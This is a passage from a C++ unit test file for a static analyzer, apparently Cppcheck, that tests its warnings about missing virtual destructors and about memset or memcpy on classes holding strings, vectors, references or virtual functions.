checkVirtualDestructor_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualDestructor_(const char* file, int line, const char (&code)[size], const CheckVirtualDestructorOptions& options = make_default_obj()) {\n const Settings s = settingsBuilder(settings0).certainty(Certainty::inconclusive, options.inconclusive).severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &s, this);\n checkClass.virtualDestructor();\n }\n\n void virtualDestructor1() {\n // Base class not found\n\n checkVirtualDestructor(\"class Derived : public Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Derived : Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructor2() {\n // Base class doesn't have a destructor\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : private Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9104\n checkVirtualDestructor(\"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"using namespace std;\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor3() {\n // Base class has a destructor, but it's not virtual\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor4() {\n // Derived class doesn't have a destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor5() {\n // Derived class has empty destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() {} };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived(); }; Derived::~Derived() {}\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor6() {\n // Only report error if base class pointer is deleted that\n // points at derived class\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorProtected() {\n // Base class has protected destructor, it makes Base *p = new Derived(); fail\n // during compilation time, so error is not possible. => no error\n checkVirtualDestructor(\"class A\\n\"\n \"{\\n\"\n \"protected:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorInherited() {\n // class A inherits virtual destructor from class Base -> no error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A inherits virtual destructor from struct Base -> no error\n // also notice that public is not given, but destructor is public, because\n // we are using struct instead of class\n checkVirtualDestructor(\"struct Base\\n\"\n \"{\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : public Base\\n\"\n \"{\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown Base class -> it could have virtual destructor, so ignore\n checkVirtualDestructor(\"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Virtual destructor is inherited -> no error\n checkVirtualDestructor(\"class Base2\\n\"\n \"{\\n\"\n \"virtual ~Base2() {}\\n\"\n \"};\\n\"\n \"class Base : public Base2\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A doesn't inherit virtual destructor from class Base -> error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Class 'Base' which is inherited by class 'B' does not have a virtual destructor.\\n\",\n \"\", errout_str());\n }\n\n void virtualDestructorTemplate() {\n checkVirtualDestructor(\"template class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" virtual ~A(){}\\n\"\n \"};\\n\"\n \"template class AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~AA(){}\\n\"\n \"};\\n\"\n \"class B : public A, public AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~B(){int a;}\\n\"\n \"};\\n\"\n \"\\n\"\n \"AA *p = new B; delete p;\");\n ASSERT_EQUALS(\"[test.cpp:9:3]: (error) Class 'AA < double >' which is inherited by class 'B' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructorInconclusive() {\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning, inconclusive) Class 'Base' which has virtual members does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" ~Derived() { bar(); }\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Base * base = new Derived();\\n\"\n \" delete base;\\n\"\n \"}\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n // class Base destructor is not virtual but protected -> no error\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void foo(){}\\n\"\n \"protected:\\n\"\n \" ~Base(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class C {\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" virtual ~C();\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkNoMemset(...) checkNoMemset_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).library(\"std.cfg\").library(\"posix.cfg\").build();\n checkNoMemset_(file, line, code, settings);\n }\n\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size], const Settings &settings) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkMemset();\n }\n\n void memsetOnClass() {\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" static std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string * b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" mutable std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred {\\n\"\n \" std::string b;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void Fred::f() {\\n\"\n \" memset(this, 0, sizeof(*this));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" static Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class Wilma\\n\"\n \"{\\n\"\n \" virtual ~Wilma();\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred, Wilma {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n // Fred not defined in scope\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(n1::Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A {\\n\"\n \" virtual ~A() { }\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" const int N = 10;\\n\"\n \" A** arr = new A*[N];\\n\"\n \" memset(arr, 0, N * sizeof(A*));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class A {\\n\" // #5116 - nested class data is mixed in the SymbolDatabase\n \" std::string s;\\n\"\n \" struct B { int x; };\\n\"\n \"};\\n\"\n \"void f(A::B *b) {\\n\"\n \" memset(b,0,4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4461 Warn about memset/memcpy on class with references as members\n checkNoMemset(\"class A {\\n\"\n \" std::string &s;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n checkNoMemset(\"class A {\\n\"\n \" const B&b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n\n // #7456\n checkNoMemset(\"struct A {\\n\"\n \" A() {}\\n\"\n \" virtual ~A() {}\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" A* arr[4];\\n\"\n \"};\\n\"\n \"void func() {\\n\"\n \" B b[4];\\n\"\n \" memset(b, 0, sizeof(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8619\n checkNoMemset(\"struct S { std::vector m; };\\n\"\n \"void f() {\\n\"\n \" std::vector v(5);\\n\"\n \" memset(&v[0], 0, sizeof(S) * v.size());\\n\"\n \" memset(&v[0], 0, v.size() * sizeof(S));\\n\"\n \" memset(&v[0], 0, 5 * sizeof(S));\\n\"\n \" memset(&v[0], 0, sizeof(S) * 5);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:5:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:6:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\",\n errout_str());\n\n // #1655\n const Settings s = settingsBuilder().library(\"std.cfg\").build();\n checkNoMemset(\"void f() {\\n\"\n \" char c[] = \\\"abc\\\";\\n\"\n \" std::string s;\\n\"\n \" memcpy(&s, c, strlen(c) + 1);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memcpy' on std::string. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"template \\n\"\n \" void f(T* dst, const T* src, int N) {\\n\"\n \" std::memcpy(dst, src, N * sizeof(T));\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" typedef std::vector* P;\\n\"\n \" P Src[2]{};\\n\"\n \" P Dst[2];\\n\"\n \" f

(Dst, Src, 2);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f() {\\n\"\n \" std::array a;\\n\"\n \" std::memset(&a, 0, 4);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnInvalid() { // Ticket #5425\n checkNoMemset(\"union ASFStreamHeader {\\n\"\n \" struct AVMPACKED {\\n\"\n \" union {\\n\"\n \" struct AVMPACKED {\\n\"\n \" int width;\\n\"\n \" } vid;\\n\"\n \" };\\n\"\n \" } hdr;\\n\"\n \"};\"\n \"void parseHeader() {\\n\"\n \" ASFStreamHeader strhdr;\\n\"\n \" memset(&strhdr, 0, sizeof(strhdr));\\n\"\n \"}\");\n }\n\n void memsetOnStruct() {\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f()\\n\"\n \"{\\n\"\n \" struct sockaddr_in6 fail;\\n\"\n \" memset(&fail, 0, sizeof(struct sockaddr_in6));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \" void g( struct sockaddr_in6& a);\\n\"\n \"private:\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A fail;\\n\"\n \" memset(&fail, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:2]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Stringy {\\n\"\n \" std::string inner;\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Stringy s;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Foo foo;\\n\"\n \" memset(&foo, 0, sizeof(Foo));\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n }\n\n void memsetVector() {\n checkNoMemset(\"class A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" std::vector buf;\\n\"\n \" operator int*() {return &buf[0];}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(a, 0, 100);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #4460\n\n checkNoMemset(\"struct C {\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" C* c1[10][10];\\n\"\n \" C* c2[10];\\n\"\n \" C c3[10][10];\\n\"\n \" C** c4 = new C*[10];\\n\"\n \" memset(**c1, 0, 10);\\n\"\n \" memset(*c1, 0, 10);\\n\"\n \" memset(*c2, 0, 10);\\n\"\n \" memset(*c3, 0, 10);\\n\"\n \" memset(*c4, 0, 10);\\n\"\n \" memset(c2, 0, 10);\\n\"\n \" memset(c3, 0, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:11:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:12:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:13:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Ticket #6953\n checkNoMemset(\"typedef float realnum;\\n\"\n \"struct multilevel_data {\\n\"\n \" realnum *GammaInv;\\n\"\n \" realnum data[1];\\n\"\n \"};\\n\"\n \"void *new_internal_data() const {\\n\"\n \" multilevel_data *d = (multilevel_data *) malloc(sizeof(multilevel_data));\\n\"\n \" memset(d, 0, sizeof(multilevel_data));\\n\"\n \" return (void*) d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:3]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n }\n\n void memsetOnStdPodType() { // Ticket #5901\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n 